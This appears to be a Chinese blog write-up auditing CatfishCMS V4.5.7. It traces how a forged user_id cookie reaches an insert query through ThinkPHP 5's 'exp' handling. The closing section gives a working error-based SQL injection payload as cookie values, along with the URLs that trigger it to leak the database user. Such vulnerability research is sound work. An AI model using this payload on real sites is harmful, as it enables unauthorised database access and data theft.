catfishcms V4.5.7前台SQL注入
怎么说呢,这个CMS以前挖过一次,刚开始确实写得不咋的,后来貌似重构了一下,安全性上了一个档次。
最近看到有人发了这个CMS的漏洞,思路挺不错的,不过文章开头说没有注入,我就试着又审了一次新版。
虽然直观的漏洞不存在了,但是我们细心并且猥琐一点,就可以挖到一个注入了。
大概看了一下,TP5的防御确实比TP3要好一点....主要是把where函数一改写,确实没有那种直观的一发数组就打穿的注入。但是我留意到这个地方:
/application/user/controller/Common.php中第45行:
函数的功能就是一个校验用户是否登录。看逻辑,看第一个if。如果我们没有session,那么就从cookie中取值,这里用到了几个cookie,一个是user_id,一个是user,一个是user_p。
然后将user带入数据库查询,这个其实就是我们的用户名,将查询出来的密码与$cookie_user_p拼接一下然后md5一下就与我们的COOKIE的user_p进行比较,如果相等的话,就设置一系列session。用户验证是没毛病的,但是这个地方发现有一个东西也就是从COOKIE取得user_id没有参与任何逻辑操作就直接设置到session里面去了。就让我对这个东西产生了注意,等于我们可以控制session中的user_id的值了。
我们全文查找一下用到这个session的user_id的地方在哪,我找到一处:
/application/index/controller/Index.php中第548行:
这里取到了我们session中的user_id的值然后添加到了$data这个数组中,作为uid的值。
然后将$data带入到了insert函数中,貌似有戏,就跟进去看看,在/catfish/library/think/db/Builder.php中第597行:
然后这里调用了一个parseData对$data进行处理:
protected function parseData($data, $options) { if (empty($data)) { return []; } // 获取绑定信息 $bind = $this->query->getFieldsBind($options); if ('*' == $options['field']) { $fields = array_keys($bind); } else { $fields = $options['field']; } $result = []; foreach ($data as $key => $val) { $item = $this->parseKey($key); if (!in_array($key, $fields, true)) { if ($options['strict']) { throw new Exception('fields not exists:[' . $key . ']'); } } elseif (isset($val[0]) && 'exp' == $val[0]) { $result[$item] = $val[1]; } elseif (is_null($val)) { $result[$item] = 'NULL'; } elseif (is_scalar($val)) { // 过滤非标量数据 if ($this->query->isBind(substr($val, 1))) { $result[$item] = $val; } else { $this->query->bind($key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR); $result[$item] = ':' . $key; } } } return $result; }
注意看了啊,这里的$var[0]如果等于exp的话,就直接将$val[1]给$result[$item]。所以这里我们肯定要构造一个数组的。
等处理完了,就直接return $result。
然后我们返回上级看看:
直接array_values取出来,然后implode一下,好的,明显的注入。
接下来开始构造payload了,构造payload的时候也有点大意了,我以为直接传数组就可以了,结果并不行,我就又去看了一下取COOKIE得函数:
public static function get($name, $prefix = null) { !isset(self::$init) && self::init(); $prefix = !is_null($prefix) ? $prefix : self::$config['prefix']; $name = $prefix . $name; if (isset($_COOKIE[$name])) { $value = $_COOKIE[$name]; if (0 === strpos($value, 'think:')) { $value = substr($value, 6); $value = json_decode($value, true); array_walk_recursive($value, 'self::jsonFormatProtect', 'decode'); } return $value; } else { return null;它取了COOKIE的值之后还进行了一次strpos操作,所以这个地方我们如果直接传数组会报error的错误,就是因为strpos的参数不能是数组。但是我一看到if里面有一个json_decode。那等于还是可以传数组嘛(吓我一跳)。
漏洞利用
为了方便起见。把app_debug打开吧,方便报错注入。
将/application/config.php中的app_debug改为true即可。
首先我们前台注册一个账号吧。
用户名:balisong 密码:balisong
首先我们要登录一次,不过这个地方要把记住我勾上,如图:
然后会发现我们多了几个cookie,如图:
其中最重要的就是这个user_p的cookie。
我这里是65332ad27c4ca83675c01ad285367903
然后我们开始换个浏览器搞事情。或者你清除掉PHPSESSION也可以。
然后开始构造COOKIE:
catfishcatfishcmsuser = balisong catfishcatfishcmsuser_p = 65332ad27c4ca83675c01ad285367903 catfishcatfishcmsuser_id = think:["exp","1 or updatexml(1,concat(0x3e,user()),0)"]构造完毕后,访问一次http://localhost/catfishcms/user/index.html
页面报错不要紧,主要是为了触发checkuser这个函数。
然后访问http://localhost/catfishcms/index/index/pinglun.html
可以看到报错了,爆出了数据库用户名: